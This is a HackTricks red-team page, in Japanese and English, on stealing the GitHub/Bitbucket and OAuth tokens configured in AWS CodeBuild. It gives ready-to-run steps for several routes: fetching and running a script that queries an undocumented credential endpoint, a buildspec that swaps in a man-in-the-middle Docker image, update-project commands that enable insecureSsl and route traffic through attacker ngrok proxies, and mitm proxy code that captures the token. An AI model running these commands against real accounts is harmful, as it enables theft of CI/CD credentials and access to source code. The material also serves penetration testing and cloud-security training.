AWS Codebuild - Token Leakage

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

Github/Bitbucket に設定されたトークンを回収

まず、leak できるようなソース認証情報が設定されているか確認します:

aws codebuild list-source-credentials

CodeBuild jobでのRCE経由

CodeBuild jobの内部から、ドキュメント化されていないAWS CodeBuild APIエンドポイントにアクセスすると、CodeBuildが使用するcredentialsを返します。これにより、CodeBuild jobが設定されたcredentials(例:AWS CodeConnection credentials、OAUTH、PAT)を取得できます。CodeBuild jobはこのエンドポイントにアクセスするために特権を必要とせず、CodeBuild自体が起動時にこのエンドポイントを複数回呼び出すため、loggingやmonitoringで検知されにくいです。

この手法はさらに https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ で詳述されていますが、要約すると CodeBuild job内でcredentialsを取得するには、次を実行すれば十分です:

python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py

Docker Image 経由

例えば、アカウントにGithubへの認証が設定されている場合、プロジェクトのビルド実行時にCodebuildに特定のDocker imageを使用させることで、そのaccessGH token or OAuth token)をexfiltrateできます。

この目的のために、create a new Codebuild projectするか既存のプロジェクトのenvironmentを変更してDocker imageを設定します。

使用できるDocker imageは https://github.com/carlospolop/docker-mitm です。これは非常に基本的なDocker imageで、env variables https_proxy, http_proxy および SSL_CERT_FILE を設定します。これにより、https_proxyhttp_proxy で指定されたホストのほとんどのトラフィックを傍受し、SSL_CERT_FILE で示されたSSL証明書を信頼させることができます。

  1. 独自の Docker MitM image を作成してアップロードする
  • リポジトリの指示に従い、proxy IPアドレスとSSL証明書を設定し、build the docker imageしてください。
  • DO NOT SET http_proxy — metadata endpoint へのリクエストをインターセプトしないようにするためです。
  • 例えば ngrok を使って ngrok tcp 4444 のようにしてプロキシをホストに向けることができます。
  • Docker image をビルドしたら、upload it to a public repo(Dockerhub, ECR…)してください。
  1. 環境を設定する
  • create a new Codebuild project または既存のプロジェクトのenvironmentmodifyします。
  • プロジェクトがpreviously generated Docker imageを使用するように設定します。
  1. ホストにMitMプロキシを設定する
  • Github repo に記載されているように、次のようなものを使用できます:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

使用した mitmproxy のバージョンは 9.0.1 で、バージョン10では動作しない可能性が報告されています。

  1. ビルドを実行して資格情報を取得する
  • token は Authorization ヘッダーで確認できます:

これは aws cli から次のように実行しても同様に行えます:

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

insecureSSL を介して

Codebuild プロジェクトには insecureSsl という設定があり、web 上では隠されていて API からのみ変更できます.\ これを有効にすると、Codebuild はプラットフォームが提示する 証明書を検証せずに リポジトリに接続できます。

  • まず、次のようなコマンドで現在の設定を列挙する必要がある:
aws codebuild batch-get-projects --name <proj-name>
  • 収集した情報を使って、プロジェクト設定の insecureSslTrue に更新できます。以下は私がプロジェクトを更新した例で、末尾の insecureSsl=True に注目してください(収集した構成から変更するのはこれだけです)。
  • さらに、環境変数 http_proxyhttps_proxy をあなたの tcp ngrok を指すように追加してください。次のように:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Finally, click on Build the project, the credentials will be sent in clear text (base64) to the mitm port:

Via HTTP protocol

[!TIP] > This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can’t abuse it anymore :)

CodeBuild 上で権限昇格した攻撃者は、設定されている Github/Bitbucket token を leak できる、あるいは権限が OAuth で設定されている場合はコードにアクセスするために使用される一時的な OAuth token を leak することができる。

  • An attacker could add the environment variables http_proxy and https_proxy to the CodeBuild project pointing to his machine (for example http://5.tcp.eu.ngrok.io:14972).
  • Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: http://github.com/carlospolop-forks/TestActions
  • Then, run the basic example from https://github.com/synchronizing/mitm in the port pointed by the proxy variables (http_proxy and https_proxy)
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()

次に、Build the project をクリックするか、コマンドラインからビルドを開始します:

aws codebuild start-build --project-name <proj-name>
  • 最終的に、credentialssent in clear text (base64) で mitm ポートに送信されます:

Warning

これにより攻撃者は自身のマシンから token を使用でき、その token の持つすべての権限を列挙し、CodeBuild サービスを直接利用するよりも簡単に (ab)use できます。

Untrusted PR execution via webhook filter misconfiguration

PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution) については、以下を参照してください:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする